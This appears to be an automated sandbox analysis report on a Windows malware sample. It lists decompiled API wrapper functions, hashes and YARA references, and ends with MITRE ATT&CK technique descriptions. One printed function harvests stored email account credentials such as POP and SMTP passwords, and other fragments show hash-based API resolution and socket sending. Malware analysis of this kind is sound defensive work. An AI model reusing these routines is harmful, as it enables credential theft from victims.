0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3, Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = FindCloseChangeNotification(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF, Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E, Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00406472, Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Function 004058EA, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058EA(char* _a4, char* _a8) {
				char* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xc5c16604, 0, 0);
				_t4 = StrStrA(_a4, _a8); // executed
				return _t4;
			}

0x004058f8
0x00405903
0x00405906

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Uniqueness

Uniqueness Score: -1.00%

Function 00405924, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405924(WCHAR* _a4, WCHAR* _a8) {
				WCHAR* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xd6865bd4, 0, 0);
				_t4 = StrStrW(_a4, _a8); // executed
				return _t4;
			}

0x00405932
0x0040593d
0x00405940

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040434D, Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069, Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

EmailAddress, xrefs: 0040D074
PopPort, xrefs: 0040D0A7
Technology, xrefs: 0040D08D
PopPassword, xrefs: 0040D0D0
SmtpPassword, xrefs: 0040D117
PopAccount, xrefs: 0040D0B6
SmtpAccount, xrefs: 0040D0FA
PopServer, xrefs: 0040D099
SmtpPort, xrefs: 0040D0EB
SmtpServer, xrefs: 0040D0DC

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040317B, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040317B(intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr _t17;
				void* _t21;
				intOrPtr* _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t33;
				signed int _t34;

				_push(_t25);
				_t1 =  &_v8;
				 *_t1 = _v8 & 0x00000000;
				_t34 =  *_t1;
				_v8 =  *[fs:0x30];
				_t23 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xc)) + 0xc));
				_t31 = _t23;
				do {
					_v12 =  *((intOrPtr*)(_t31 + 0x18));
					_t28 = E00402C77(_t34,  *((intOrPtr*)(_t31 + 0x28)));
					_pop(_t26);
					_t35 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						E004032EA(_t35, _t28, 0);
						_t21 = E00402C38(_t26, _t28, E00405D24(_t28) + _t19);
						_t33 = _t33 + 0x14;
						if(_a4 == _t21) {
							_t17 = _v12;
						} else {
							goto L3;
						}
					}
					L5:
					return _t17;
					L3:
					_t31 =  *_t31;
				} while (_t23 != _t31);
				_t17 = 0;
				goto L5;
			}

0x0040317f
0x00403180
0x00403180
0x00403180
0x0040318d
0x00403196
0x00403199
0x0040319b
0x004031a1
0x004031a9
0x004031ab
0x004031ac
0x004031ae
0x00000000
0x004031b0
0x004031b3
0x004031c2
0x004031c7
0x004031cd
0x004031e0
0x00000000
0x00000000
0x00000000
0x004031cd
0x004031d7
0x004031dd
0x004031cf
0x004031cf
0x004031d1
0x004031d5
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

